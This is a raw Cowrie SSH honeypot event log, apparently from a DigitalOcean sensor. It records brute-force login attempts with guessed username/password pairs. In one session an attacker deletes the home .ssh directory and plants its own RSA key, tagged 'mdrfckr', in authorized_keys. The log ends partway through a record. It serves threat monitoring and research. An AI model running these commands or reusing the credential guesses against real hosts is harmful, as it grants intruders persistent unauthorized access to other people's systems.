{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":40946,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a08860bd2f1","protocol":"ssh","message":"New connection: 109.237.96.109:40946 (159.203.135.109:22) [session: 5a08860bd2f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:39.729595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:39.733614Z","src_ip":"109.237.96.109","session":"5a08860bd2f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:39.823978Z","src_ip":"109.237.96.109","session":"5a08860bd2f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia6300","message":"login attempt [root/nokia6300] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:40.105785Z","src_ip":"109.237.96.109","session":"5a08860bd2f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:40.443463Z","src_ip":"193.228.128.84","session":"e004e5ffd804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:41.200448Z","src_ip":"109.237.96.109","session":"5a08860bd2f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":47424,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f8ed3bd06bd","protocol":"ssh","message":"New connection: 103.27.238.114:47424 (10.17.0.5:22) [session: 5f8ed3bd06bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:08.784194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:08.788949Z","src_ip":"103.27.238.114","session":"5f8ed3bd06bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:09.054189Z","src_ip":"103.27.238.114","session":"5f8ed3bd06bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveme","message":"login attempt [root/loveme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:09.852362Z","src_ip":"103.27.238.114","session":"5f8ed3bd06bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:11.121452Z","src_ip":"103.27.238.114","session":"5f8ed3bd06bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":8782,"dst_ip":"10.17.0.5","dst_port":22,"session":"095a89e24984","protocol":"ssh","message":"New connection: 182.253.79.194:8782 (10.17.0.5:22) [session: 095a89e24984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:31.233792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:31.238672Z","src_ip":"182.253.79.194","session":"095a89e24984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:31.496505Z","src_ip":"182.253.79.194","session":"095a89e24984","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"maets","message":"login attempt [steam/maets] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:32.553580Z","src_ip":"182.253.79.194","session":"095a89e24984","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:33.117460Z","src_ip":"182.253.79.194","session":"095a89e24984","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:33.121081Z","src_ip":"182.253.79.194","session":"095a89e24984","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:33.125312Z","src_ip":"182.253.79.194","session":"095a89e24984","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:33.641130Z","src_ip":"182.253.79.194","session":"095a89e24984","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:33.957223Z","src_ip":"182.253.79.194","session":"095a89e24984","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:33.961116Z","src_ip":"182.253.79.194","session":"095a89e24984","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:34.222145Z","src_ip":"182.253.79.194","session":"095a89e24984","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:34.226443Z","src_ip":"182.253.79.194","session":"095a89e24984","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":2358,"dst_ip":"10.17.0.5","dst_port":22,"session":"83e78416da61","protocol":"ssh","message":"New connection: 182.253.79.194:2358 (10.17.0.5:22) [session: 83e78416da61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:34.474399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:34.479930Z","src_ip":"182.253.79.194","session":"83e78416da61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:34.737537Z","src_ip":"182.253.79.194","session":"83e78416da61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:35.794528Z","src_ip":"182.253.79.194","session":"83e78416da61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:37.054737Z","src_ip":"182.253.79.194","session":"83e78416da61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":9685,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac51317edcd5","protocol":"ssh","message":"New connection: 182.253.79.194:9685 (10.17.0.5:22) [session: ac51317edcd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:37.313614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:37.318275Z","src_ip":"182.253.79.194","session":"ac51317edcd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:37.584271Z","src_ip":"182.253.79.194","session":"ac51317edcd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":48148,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a5da9e67c2f","protocol":"ssh","message":"New connection: 80.94.92.186:48148 (159.203.135.109:22) [session: 2a5da9e67c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:37.996130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:38.054427Z","src_ip":"80.94.92.186","session":"2a5da9e67c2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:38.179162Z","src_ip":"80.94.92.186","session":"2a5da9e67c2f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:38.668409Z","src_ip":"182.253.79.194","session":"ac51317edcd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"sol","message":"login attempt [solana/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:38.675344Z","src_ip":"80.94.92.186","session":"2a5da9e67c2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:38.935356Z","src_ip":"182.253.79.194","session":"095a89e24984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:38.939325Z","src_ip":"182.253.79.194","session":"ac51317edcd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:39.913697Z","src_ip":"80.94.92.186","session":"2a5da9e67c2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.190.77","src_port":54840,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cfb2e32a0b0","protocol":"ssh","message":"New connection: 31.42.190.77:54840 (10.17.0.5:22) [session: 9cfb2e32a0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:47.706318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:47.716793Z","src_ip":"31.42.190.77","session":"9cfb2e32a0b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 